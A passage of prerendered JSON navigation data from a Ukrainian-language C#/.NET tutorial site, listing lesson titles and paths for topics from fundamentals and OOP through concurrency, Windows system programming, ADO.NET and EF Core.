[{"data":1,"prerenderedAt":22040},["ShallowReactive",2],{"navigation_docs":3,"-csharp-network-programming-http-advanced":3302,"-csharp-network-programming-http-advanced-surround":22035},[4,1707,1896,2350,2531,2572,2779,2901,2951,3008,3042,3168,3245,3298],{"title":5,"icon":6,"path":7,"stem":8,"children":9},"C#","i-devicon-csharp","\u002Fcsharp","01.csharp",[10,13,60,90,120,202,219,253,379,404,457,650,1364,1654,1703],{"title":11,"path":7,"stem":12},"C# та .NET","01.csharp\u002Findex",{"title":14,"icon":15,"path":16,"stem":17,"children":18,"page":59},"Fundamentals","i-lucide-book-open","\u002Fcsharp\u002Ffundamentals","01.csharp\u002F01.fundamentals",[19,23,27,31,35,39,43,47,51,55],{"title":20,"path":21,"stem":22},"Вступ до екосистеми .NET","\u002Fcsharp\u002Ffundamentals\u002Fintroduction-to-ecosystem","01.csharp\u002F01.fundamentals\u002F01.introduction-to-ecosystem",{"title":24,"path":25,"stem":26},"Структура програми на C#","\u002Fcsharp\u002Ffundamentals\u002Fprogram-structure","01.csharp\u002F01.fundamentals\u002F02.program-structure",{"title":28,"path":29,"stem":30},"Змінні та Типи Даних","\u002Fcsharp\u002Ffundamentals\u002Fvariables-data-types","01.csharp\u002F01.fundamentals\u002F03.variables-data-types",{"title":32,"path":33,"stem":34},"Масиви","\u002Fcsharp\u002Ffundamentals\u002Farrays","01.csharp\u002F01.fundamentals\u002F04.arrays",{"title":36,"path":37,"stem":38},"Strings & Text Handling","\u002Fcsharp\u002Ffundamentals\u002Fstrings-text-handling","01.csharp\u002F01.fundamentals\u002F05.strings-text-handling",{"title":40,"path":41,"stem":42},"Дати і Час","\u002Fcsharp\u002Ffundamentals\u002Fdates-time-handling","01.csharp\u002F01.fundamentals\u002F06.dates-time-handling",{"title":44,"path":45,"stem":46},"Потік Керування","\u002Fcsharp\u002Ffundamentals\u002Fcontrol-flow","01.csharp\u002F01.fundamentals\u002F07.control-flow",{"title":48,"path":49,"stem":50},"Методи","\u002Fcsharp\u002Ffundamentals\u002Fmethods","01.csharp\u002F01.fundamentals\u002F08.methods",{"title":52,"path":53,"stem":54},"Основи Відлагодження","\u002Fcsharp\u002Ffundamentals\u002Fdebugging-basics","01.csharp\u002F01.fundamentals\u002F09.debugging-basics",{"title":56,"path":57,"stem":58},"Інтерактивна Консоль (Classic)","\u002Fcsharp\u002Ffundamentals\u002Finteractive-console","01.csharp\u002F01.fundamentals\u002F10.interactive-console",false,{"title":61,"icon":62,"path":63,"stem":64,"children":65,"page":59},"OOP","i-lucide-box","\u002Fcsharp\u002Foop","01.csharp\u002F02.oop",[66,70,74,78,82,86],{"title":67,"path":68,"stem":69},"Package Management (Управління Пакетами)","\u002Fcsharp\u002Foop\u002Fpackage-management","01.csharp\u002F02.oop\u002F01.package-management",{"title":71,"path":72,"stem":73},"Класи та Об'єкти","\u002Fcsharp\u002Foop\u002Fclasses-objects","01.csharp\u002F02.oop\u002F02.classes-objects",{"title":75,"path":76,"stem":77},"Властивості та Поля","\u002Fcsharp\u002Foop\u002Fproperties-fields","01.csharp\u002F02.oop\u002F03.properties-fields",{"title":79,"path":80,"stem":81},"Стовпи ООП","\u002Fcsharp\u002Foop\u002Foop-pillars","01.csharp\u002F02.oop\u002F04.oop-pillars",{"title":83,"path":84,"stem":85},"Advanced Types","\u002Fcsharp\u002Foop\u002Fadvanced-types","01.csharp\u002F02.oop\u002F05.advanced-types",{"title":87,"path":88,"stem":89},"Namespaces (Простори Імен)","\u002Fcsharp\u002Foop\u002Fnamespaces","01.csharp\u002F02.oop\u002F06.namespaces",{"title":91,"icon":92,"path":93,"stem":94,"children":95,"page":59},"Advanced Core","i-lucide-zap","\u002Fcsharp\u002Fadvanced-core","01.csharp\u002F03.advanced-core",[96,100,104,108,112,116],{"title":97,"path":98,"stem":99},"Generics (Узагальнення)","\u002Fcsharp\u002Fadvanced-core\u002Fgenerics","01.csharp\u002F03.advanced-core\u002F01.generics",{"title":101,"path":102,"stem":103},"Делегати, Події та Лямбда-вирази","\u002Fcsharp\u002Fadvanced-core\u002Fdelegates-events-lambdas","01.csharp\u002F03.advanced-core\u002F02.delegates-events-lambdas",{"title":105,"path":106,"stem":107},"Interfaces Deep Dive (Інтерфейси: Поглиблений Розгляд)","\u002Fcsharp\u002Fadvanced-core\u002Finterfaces-deep-dive","01.csharp\u002F03.advanced-core\u002F03.interfaces-deep-dive",{"title":109,"path":110,"stem":111},"Обробка Винятків","\u002Fcsharp\u002Fadvanced-core\u002Fexception-handling","01.csharp\u002F03.advanced-core\u002F04.exception-handling",{"title":113,"path":114,"stem":115},"Pattern Matching","\u002Fcsharp\u002Fadvanced-core\u002Fpattern-matching","01.csharp\u002F03.advanced-core\u002F05.pattern-matching",{"title":117,"path":118,"stem":119},"Додаткові Можливості C#","\u002Fcsharp\u002Fadvanced-core\u002Fadditional-features","01.csharp\u002F03.advanced-core\u002F06.additional-features",{"title":121,"icon":122,"path":123,"stem":124,"children":125,"page":59},"Architecture Best Practices","i-lucide-building-2","\u002Fcsharp\u002Farchitecture-best-practices","01.csharp\u002F04.architecture-best-practices",[126,130,149,153,157,161,165,169],{"title":127,"path":128,"stem":129},"Software Design Principles (Частина 1)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fsoftware-design-principles","01.csharp\u002F04.architecture-best-practices\u002F01.software-design-principles",{"title":131,"icon":132,"path":133,"stem":134,"children":135,"page":59},"Design Patterns","i-lucide-folder","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns",[136],{"title":137,"icon":132,"path":138,"stem":139,"children":140,"page":59},"Creational","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns\u002Fcreational","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns\u002Fcreational",[141,145],{"title":142,"path":143,"stem":144},"Singleton (Одинак)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns\u002Fcreational\u002Fsingleton","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns\u002Fcreational\u002F01.singleton",{"title":146,"path":147,"stem":148},"Builder (Будівельник)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns\u002Fcreational\u002Fbuilder","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns\u002Fcreational\u002F02.builder",{"title":150,"path":151,"stem":152},"Building Professional CLIs","\u002Fcsharp\u002Farchitecture-best-practices\u002Fbuilding-professional-clis","01.csharp\u002F04.architecture-best-practices\u002F03.building-professional-clis",{"title":154,"path":155,"stem":156},"Validation & Flow Control","\u002Fcsharp\u002Farchitecture-best-practices\u002Fvalidation-flow-control","01.csharp\u002F04.architecture-best-practices\u002F04.validation-flow-control",{"title":158,"path":159,"stem":160},"The Modern .NET Host (Microsoft.Extensions)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fmodern-dotnet-host","01.csharp\u002F04.architecture-best-practices\u002F05.modern-dotnet-host",{"title":162,"path":163,"stem":164},"Data Mapper: Repository та DAO патерни (Частина 1)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdata-mapper-part1","01.csharp\u002F04.architecture-best-practices\u002F06.data-mapper-part1",{"title":166,"path":167,"stem":168},"Data Mapper: Repository та DAO патерни (Частина 2)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdata-mapper-part2","01.csharp\u002F04.architecture-best-practices\u002F07.data-mapper-part2",{"title":170,"icon":132,"path":171,"stem":172,"children":173,"page":59},"Di Ioc","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc",[174,178,182,186,190,194,198],{"title":175,"path":176,"stem":177},"Проблема залежностей та Інверсія Контролю","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fthe-dependency-problem","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F01.the-dependency-problem",{"title":179,"path":180,"stem":181},"Будуємо власний Service Container","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fbuild-your-own-container","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F02.build-your-own-container",{"title":183,"path":184,"stem":185},"Service Locator: Паттерн та Анти-паттерн","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fservice-locator-pattern","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F03.service-locator-pattern",{"title":187,"path":188,"stem":189},"Паттерни Dependency Injection","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fdependency-injection-patterns","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F04.dependency-injection-patterns",{"title":191,"path":192,"stem":193},"Microsoft DI: IServiceCollection та IServiceProvider","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fmicrosoft-di-deep-dive","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F05.microsoft-di-deep-dive",{"title":195,"path":196,"stem":197},"Service Lifetimes та Scopes","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fservice-lifetimes-and-scopes","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F06.service-lifetimes-and-scopes",{"title":199,"path":200,"stem":201},"DI Анти-паттерни та Найкращі Практики","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fdi-anti-patterns-and-best-practices","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F07.di-anti-patterns-and-best-practices",{"title":203,"icon":132,"path":204,"stem":205,"children":206,"page":59},"Standard Library","\u002Fcsharp\u002Fstandard-library","01.csharp\u002F05.standard-library",[207,211,215],{"title":208,"path":209,"stem":210},"Collections (Колекції)","\u002Fcsharp\u002Fstandard-library\u002Fcollections","01.csharp\u002F05.standard-library\u002F01.collections",{"title":212,"path":213,"stem":214},"High Performance Types (Високопродуктивні Типи)","\u002Fcsharp\u002Fstandard-library\u002Fhigh-performance-types","01.csharp\u002F05.standard-library\u002F02.high-performance-types",{"title":216,"path":217,"stem":218},"LINQ (Language Integrated Query)","\u002Fcsharp\u002Fstandard-library\u002Flinq","01.csharp\u002F05.standard-library\u002F03.linq",{"title":220,"icon":221,"path":222,"stem":223,"children":224,"page":59},"System Internals Concurrency","i-lucide-server","\u002Fcsharp\u002Fsystem-internals-concurrency","01.csharp\u002F06.system-internals-concurrency",[225,229,233,237,241,245,249],{"title":226,"path":227,"stem":228},"Memory Management","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fmemory-management","01.csharp\u002F06.system-internals-concurrency\u002F01.memory-management",{"title":230,"path":231,"stem":232},"Reflection API: System.Type та Метадані","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Freflection-fundamentals","01.csharp\u002F06.system-internals-concurrency\u002F02.reflection-fundamentals",{"title":234,"path":235,"stem":236},"Attributes та Dynamic Language Runtime","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fattributes-dynamic","01.csharp\u002F06.system-internals-concurrency\u002F03.attributes-dynamic",{"title":238,"path":239,"stem":240},"Expression Trees: Швидка Альтернатива Рефлексії","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fexpression-trees-compiled","01.csharp\u002F06.system-internals-concurrency\u002F04.expression-trees-compiled",{"title":242,"path":243,"stem":244},"Source Generators: Compile-Time Code Generation","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fsource-generators","01.csharp\u002F06.system-internals-concurrency\u002F05.source-generators",{"title":246,"path":247,"stem":248},"Multithreading Fundamentals","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fmultithreading-fundamentals","01.csharp\u002F06.system-internals-concurrency\u002F06.multithreading-fundamentals",{"title":250,"path":251,"stem":252},"Synchronization Primitives","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fsynchronization-primitives","01.csharp\u002F06.system-internals-concurrency\u002F07.synchronization-primitives",{"title":254,"icon":255,"path":256,"stem":257,"children":258,"page":59},"System Programming Windows","i-lucide-cpu","\u002Fcsharp\u002Fsystem-programming-windows","01.csharp\u002F07.system-programming-windows",[259,263,267,271,275,279,283,287,291,295,299,303,307,311,315,319,323,327,331,335,339,343,347,351,355,359,363,367,371,375],{"title":260,"path":261,"stem":262},"Як Працює Операційна Система","\u002Fcsharp\u002Fsystem-programming-windows\u002Fhow-os-works","01.csharp\u002F07.system-programming-windows\u002F01.how-os-works",{"title":264,"path":265,"stem":266},"Процеси в .NET — API та Запуск","\u002Fcsharp\u002Fsystem-programming-windows\u002Fprocesses-in-dotnet","01.csharp\u002F07.system-programming-windows\u002F02.processes-in-dotnet",{"title":268,"path":269,"stem":270},"Процеси в .NET — IPC та Міжпроцесна Комунікація","\u002Fcsharp\u002Fsystem-programming-windows\u002F02a.processes-ipc","01.csharp\u002F07.system-programming-windows\u002F02a.processes-ipc",{"title":272,"path":273,"stem":274},"Application Domains та Збірки — AppDomain і AssemblyLoadContext","\u002Fcsharp\u002Fsystem-programming-windows\u002Fappdomains-assemblies","01.csharp\u002F07.system-programming-windows\u002F03.appdomains-assemblies",{"title":276,"path":277,"stem":278},"Application Domains та Збірки — Plug-in Система з Hot-Reload","\u002Fcsharp\u002Fsystem-programming-windows\u002F03a.appdomains-plugin-system","01.csharp\u002F07.system-programming-windows\u002F03a.appdomains-plugin-system",{"title":280,"path":281,"stem":282},"Потоки — Основи та API Thread","\u002Fcsharp\u002Fsystem-programming-windows\u002Fthread-fundamentals","01.csharp\u002F07.system-programming-windows\u002F04.thread-fundamentals",{"title":284,"path":285,"stem":286},"Потоки — Lifecycle, Пріоритети та Безпечне Завершення","\u002Fcsharp\u002Fsystem-programming-windows\u002F04a.thread-lifecycle-priorities","01.csharp\u002F07.system-programming-windows\u002F04a.thread-lifecycle-priorities",{"title":288,"path":289,"stem":290},"Проблеми Спільного Стану — Race Condition та Data Race","\u002Fcsharp\u002Fsystem-programming-windows\u002Fshared-state-problems","01.csharp\u002F07.system-programming-windows\u002F05.shared-state-problems",{"title":292,"path":293,"stem":294},"Проблеми Спільного Стану — Memory Model та volatile","\u002Fcsharp\u002Fsystem-programming-windows\u002F05a.shared-state-memory-model","01.csharp\u002F07.system-programming-windows\u002F05a.shared-state-memory-model",{"title":296,"path":297,"stem":298},"Синхронізація — Monitor, lock та еволюція примітивів","\u002Fcsharp\u002Fsystem-programming-windows\u002Fsynchronization-fundamentals","01.csharp\u002F07.system-programming-windows\u002F06.synchronization-fundamentals",{"title":300,"path":301,"stem":302},"Синхронізація — Наскрізний Приклад та Deadlock Detection","\u002Fcsharp\u002Fsystem-programming-windows\u002F06a.synchronization-walkthrough","01.csharp\u002F07.system-programming-windows\u002F06a.synchronization-walkthrough",{"title":304,"path":305,"stem":306},"Синхронізація — Mutex, Semaphore та Event-Based Primitives","\u002Fcsharp\u002Fsystem-programming-windows\u002Fsynchronization-advanced","01.csharp\u002F07.system-programming-windows\u002F07.synchronization-advanced",{"title":308,"path":309,"stem":310},"Синхронізація — Interlocked, Volatile та Lock-Free Структури","\u002Fcsharp\u002Fsystem-programming-windows\u002F07a.synchronization-advanced-walkthrough","01.csharp\u002F07.system-programming-windows\u002F07a.synchronization-advanced-walkthrough",{"title":312,"path":313,"stem":314},"Interlocked, CAS та Lock-Free Структури","\u002Fcsharp\u002Fsystem-programming-windows\u002Finterlocked-cas-lockfree","01.csharp\u002F07.system-programming-windows\u002F08.interlocked-cas-lockfree",{"title":316,"path":317,"stem":318},"Volatile, Memory Model та Spinning","\u002Fcsharp\u002Fsystem-programming-windows\u002F08a.volatile-memory-model","01.csharp\u002F07.system-programming-windows\u002F08a.volatile-memory-model",{"title":320,"path":321,"stem":322},"ThreadPool — Пул Потоків для Ефективного Виконання","\u002Fcsharp\u002Fsystem-programming-windows\u002Fthread-pool","01.csharp\u002F07.system-programming-windows\u002F09.thread-pool",{"title":324,"path":325,"stem":326},"ThreadPool — Просунуті Сценарії та Внутрішня Будова","\u002Fcsharp\u002Fsystem-programming-windows\u002F09a.thread-pool-advanced","01.csharp\u002F07.system-programming-windows\u002F09a.thread-pool-advanced",{"title":328,"path":329,"stem":330},"Concurrent та Immutable Collections","\u002Fcsharp\u002Fsystem-programming-windows\u002Fconcurrent-collections","01.csharp\u002F07.system-programming-windows\u002F10.concurrent-collections",{"title":332,"path":333,"stem":334},"TPL, Task та Композиція — Від Thread до Task","\u002Fcsharp\u002Fsystem-programming-windows\u002Ftpl-parallel-plinq","01.csharp\u002F07.system-programming-windows\u002F11.tpl-parallel-plinq",{"title":336,"path":337,"stem":338},"Parallel Class та PLINQ — Data Parallelism","\u002Fcsharp\u002Fsystem-programming-windows\u002F11a.tpl-parallel-plinq-advanced","01.csharp\u002F07.system-programming-windows\u002F11a.tpl-parallel-plinq-advanced",{"title":340,"path":341,"stem":342},"Async\u002FAwait — Фундамент Асинхронного Програмування","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-fundamentals","01.csharp\u002F07.system-programming-windows\u002F12.async-fundamentals",{"title":344,"path":345,"stem":346},"SynchronizationContext та ConfigureAwait — Контекст Виконання","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-context-configureawait","01.csharp\u002F07.system-programming-windows\u002F13.async-context-configureawait",{"title":348,"path":349,"stem":350},"Async — Просунуті Паттерни","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-advanced","01.csharp\u002F07.system-programming-windows\u002F14.async-advanced",{"title":352,"path":353,"stem":354},"System.Threading.Channels — Async Producer-Consumer","\u002Fcsharp\u002Fsystem-programming-windows\u002Fchannels","01.csharp\u002F07.system-programming-windows\u002F15.channels",{"title":356,"path":357,"stem":358},"Асинхронна Синхронізація","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-synchronization","01.csharp\u002F07.system-programming-windows\u002F16.async-synchronization",{"title":360,"path":361,"stem":362},"Unsafe Code та Вказівники","\u002Fcsharp\u002Fsystem-programming-windows\u002Funsafe-code","01.csharp\u002F07.system-programming-windows\u002F17.unsafe-code",{"title":364,"path":365,"stem":366},"P\u002FInvoke та Windows API — Міст між .NET та Native Code","\u002Fcsharp\u002Fsystem-programming-windows\u002Fpinvoke-winapi","01.csharp\u002F07.system-programming-windows\u002F18.pinvoke-winapi",{"title":368,"path":369,"stem":370},"Реєстр Windows — Центральна База Конфігурації Системи","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-registry","01.csharp\u002F07.system-programming-windows\u002F19.windows-registry",{"title":372,"path":373,"stem":374},"Windows Hooks, Hotkeys та Services — Глибока Інтеграція з ОС","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-hooks-services","01.csharp\u002F07.system-programming-windows\u002F20.windows-hooks-services",{"title":376,"path":377,"stem":378},"Системне Програмування C# (Windows) — 07.system-programming-windows","\u002Fcsharp\u002Fsystem-programming-windows\u002Fimplementation_plan","01.csharp\u002F07.system-programming-windows\u002Fimplementation_plan",{"title":380,"icon":132,"path":381,"stem":382,"children":383,"page":59},"Io","\u002Fcsharp\u002Fio","01.csharp\u002F08.io",[384,388,392,396,400],{"title":385,"path":386,"stem":387},"8.1.1. Основи роботи з файловою системою","\u002Fcsharp\u002Fio\u002Ffile-system-basics","01.csharp\u002F08.io\u002F01.file-system-basics",{"title":389,"path":390,"stem":391},"8.1.2. Потоки (Streams) та Серіалізація Даних","\u002Fcsharp\u002Fio\u002Fstreams-serialization","01.csharp\u002F08.io\u002F02.streams-serialization",{"title":393,"path":394,"stem":395},"8.2.1. JSON Serialization з System.Text.Json","\u002Fcsharp\u002Fio\u002Fjson-serialization","01.csharp\u002F08.io\u002F03.json-serialization",{"title":397,"path":398,"stem":399},"8.2.2. XML Serialization та LINQ to XML","\u002Fcsharp\u002Fio\u002Fxml-serialization","01.csharp\u002F08.io\u002F04.xml-serialization",{"title":401,"path":402,"stem":403},"8.2.3. Binary Serialization: MessagePack та Protocol Buffers","\u002Fcsharp\u002Fio\u002Fbinary-serialization","01.csharp\u002F08.io\u002F05.binary-serialization",{"title":405,"icon":132,"path":406,"stem":407,"children":408,"page":59},"Ado Net","\u002Fcsharp\u002Fado-net","01.csharp\u002F09.ado-net",[409,413,417,421,425,429,433,437,441,445,449,453],{"title":410,"path":411,"stem":412},"9.1. Введення в ADO.NET","\u002Fcsharp\u002Fado-net\u002Fintroduction-to-adonet","01.csharp\u002F09.ado-net\u002F01.introduction-to-adonet",{"title":414,"path":415,"stem":416},"9.2. Клас DbConnection — з'єднання з базою даних","\u002Fcsharp\u002Fado-net\u002Fconnection","01.csharp\u002F09.ado-net\u002F02.connection",{"title":418,"path":419,"stem":420},"9.3. Клас DbCommand — виконання SQL-запитів","\u002Fcsharp\u002Fado-net\u002Fcommand-and-queries","01.csharp\u002F09.ado-net\u002F03.command-and-queries",{"title":422,"path":423,"stem":424},"9.4. Клас DbDataReader — ефективне читання даних","\u002Fcsharp\u002Fado-net\u002Fdatareader","01.csharp\u002F09.ado-net\u002F04.datareader",{"title":426,"path":427,"stem":428},"9.5. Параметризовані запити та захист від SQL Injection","\u002Fcsharp\u002Fado-net\u002Fparameters-and-sql-injection","01.csharp\u002F09.ado-net\u002F05.parameters-and-sql-injection",{"title":430,"path":431,"stem":432},"9.6. Транзакції в ADO.NET","\u002Fcsharp\u002Fado-net\u002Ftransactions","01.csharp\u002F09.ado-net\u002F06.transactions",{"title":434,"path":435,"stem":436},"9.7. DbProviderFactory — провайдер-незалежний код","\u002Fcsharp\u002Fado-net\u002Fprovider-factory","01.csharp\u002F09.ado-net\u002F07.provider-factory",{"title":438,"path":439,"stem":440},"9.8. Асинхронний доступ до даних","\u002Fcsharp\u002Fado-net\u002Fasync-data-access","01.csharp\u002F09.ado-net\u002F08.async-data-access",{"title":442,"path":443,"stem":444},"9.9. Від'єднаний режим: DataSet, DataTable, DataRow","\u002Fcsharp\u002Fado-net\u002Fdisconnected-mode-dataset","01.csharp\u002F09.ado-net\u002F09.disconnected-mode-dataset",{"title":446,"path":447,"stem":448},"9.10. DataAdapter — міст між DataSet та базою даних","\u002Fcsharp\u002Fado-net\u002Fdata-adapter","01.csharp\u002F09.ado-net\u002F10.data-adapter",{"title":450,"path":451,"stem":452},"9.11. Data Mapper та Repository: Архітектура доступу до даних","\u002Fcsharp\u002Fado-net\u002Fdata-mapper-repository","01.csharp\u002F09.ado-net\u002F11.data-mapper-repository",{"title":454,"path":455,"stem":456},"9.12. Identity Map, Unit of Work та Specification Pattern","\u002Fcsharp\u002Fado-net\u002Fadvanced-patterns","01.csharp\u002F09.ado-net\u002F12.advanced-patterns",{"title":458,"icon":255,"path":459,"stem":460,"children":461,"page":59},"Ef Core","\u002Fcsharp\u002Fef-core","01.csharp\u002F10.ef-core",[462,466,470,474,478,482,486,490,494,498,502,506,510,514,518,522,526,532,538,542,546,550,554,558,562,566,570,574,578,582,586,590,594,598,602,606,610,614,618,622,626,630,634,638,642,646],{"title":463,"path":464,"stem":465},"Що таке ORM? Від SQL до об'єктів","\u002Fcsharp\u002Fef-core\u002Fwhat-is-orm","01.csharp\u002F10.ef-core\u002F01.what-is-orm",{"title":467,"path":468,"stem":469},"Перший проєкт — від нуля до CRUD","\u002Fcsharp\u002Fef-core\u002Ffirst-project","01.csharp\u002F10.ef-core\u002F02.first-project",{"title":471,"path":472,"stem":473},"DbContext — Серце EF Core","\u002Fcsharp\u002Fef-core\u002Fdbcontext-deep-dive","01.csharp\u002F10.ef-core\u002F03.dbcontext-deep-dive",{"title":475,"path":476,"stem":477},"Провайдери баз даних — Архітектура та Вибір СУБД","\u002Fcsharp\u002Fef-core\u002Fdatabase-providers","01.csharp\u002F10.ef-core\u002F04.database-providers",{"title":479,"path":480,"stem":481},"Конвенції EF Core — Магія без конфігурації","\u002Fcsharp\u002Fef-core\u002Fconventions","01.csharp\u002F10.ef-core\u002F05.conventions",{"title":483,"path":484,"stem":485},"Fluent API та Data Annotations — Явна конфігурація моделі","\u002Fcsharp\u002Fef-core\u002Ffluent-api-vs-annotations","01.csharp\u002F10.ef-core\u002F06.fluent-api-vs-annotations",{"title":487,"path":488,"stem":489},"Зв'язки — One-to-One та One-to-Many","\u002Fcsharp\u002Fef-core\u002Frelationships-basics","01.csharp\u002F10.ef-core\u002F07.relationships-basics",{"title":491,"path":492,"stem":493},"Зв'язки Advanced — Many-to-Many та Складні Сценарії","\u002Fcsharp\u002Fef-core\u002Frelationships-advanced","01.csharp\u002F10.ef-core\u002F08.relationships-advanced",{"title":495,"path":496,"stem":497},"Властивості — Типи, Конвертери, Компаратори (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part1","01.csharp\u002F10.ef-core\u002F09.property-configuration-part1",{"title":499,"path":500,"stem":501},"Властивості — Value Comparers, Generators, Shadow Properties (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part2","01.csharp\u002F10.ef-core\u002F09.property-configuration-part2",{"title":503,"path":504,"stem":505},"Складні типи — Owned Types та Complex Types (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part1","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part1",{"title":507,"path":508,"stem":509},"Складні типи — Complex Types, Keyless Entities, Порівняння (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part2","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part2",{"title":511,"path":512,"stem":513},"JSON Columns — Складні дані у JSON (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part1","01.csharp\u002F10.ef-core\u002F11.json-columns-part1",{"title":515,"path":516,"stem":517},"JSON Columns — Value Comparers, Індекси, Провайдери (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part2","01.csharp\u002F10.ef-core\u002F11.json-columns-part2",{"title":519,"path":520,"stem":521},"Успадкування — Абстрактні класи та TPH (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finheritance-part1","01.csharp\u002F10.ef-core\u002F12.inheritance-part1",{"title":523,"path":524,"stem":525},"Успадкування — TPT, TPC та Порівняння Стратегій (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finheritance-part2","01.csharp\u002F10.ef-core\u002F12.inheritance-part2",{"title":527,"path":528,"stem":529,"children":530},"Індекси, Обмеження та Схема (Частина 1)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part1","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part1",[531],{"title":527,"path":528,"stem":529},{"title":533,"path":534,"stem":535,"children":536},"Індекси, Обмеження та Схема (Частина 2)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part2","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part2",[537],{"title":533,"path":534,"stem":535},{"title":539,"path":540,"stem":541},"Seed Data — Початкові Дані (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fseeding-part1","01.csharp\u002F10.ef-core\u002F14.seeding-part1",{"title":543,"path":544,"stem":545},"Seed Data — SQL-скрипти, Bogus та Стратегії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fseeding-part2","01.csharp\u002F10.ef-core\u002F14.seeding-part2",{"title":547,"path":548,"stem":549},"Global Query Filters — Глобальні Фільтри (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part1","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part1",{"title":551,"path":552,"stem":553},"Global Query Filters — Підводні камені та Інтеграція (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part2","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part2",{"title":555,"path":556,"stem":557},"LINQ-запити в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part1","01.csharp\u002F10.ef-core\u002F16.linq-queries-part1",{"title":559,"path":560,"stem":561},"LINQ-запити в EF Core (Частина 2)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part2","01.csharp\u002F10.ef-core\u002F16.linq-queries-part2",{"title":563,"path":564,"stem":565},"Завантаження Пов'язаних Даних (Частина 1)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part1","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part1",{"title":567,"path":568,"stem":569},"Завантаження Пов'язаних Даних (Частина 2)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part2","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part2",{"title":571,"path":572,"stem":573},"Raw SQL, Views та Stored Procedures (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part1","01.csharp\u002F10.ef-core\u002F18.raw-sql-part1",{"title":575,"path":576,"stem":577},"Raw SQL — Stored Procedures, DbFunction та Bulk Operations (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part2","01.csharp\u002F10.ef-core\u002F18.raw-sql-part2",{"title":579,"path":580,"stem":581},"Продвинуті Запити — Compiled Queries, Bulk та Оптимізація (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part1","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part1",{"title":583,"path":584,"stem":585},"Продвинуті Запити — Query Tags, Bulk та Interceptors (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part2","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part2",{"title":587,"path":588,"stem":589},"Change Tracker — Відстеження Змін (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part1","01.csharp\u002F10.ef-core\u002F20.change-tracking-part1",{"title":591,"path":592,"stem":593},"Change Tracker — Графи Об'єктів та Disconnected (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part2","01.csharp\u002F10.ef-core\u002F20.change-tracking-part2",{"title":595,"path":596,"stem":597},"Збереження Даних та Транзакції (Частина 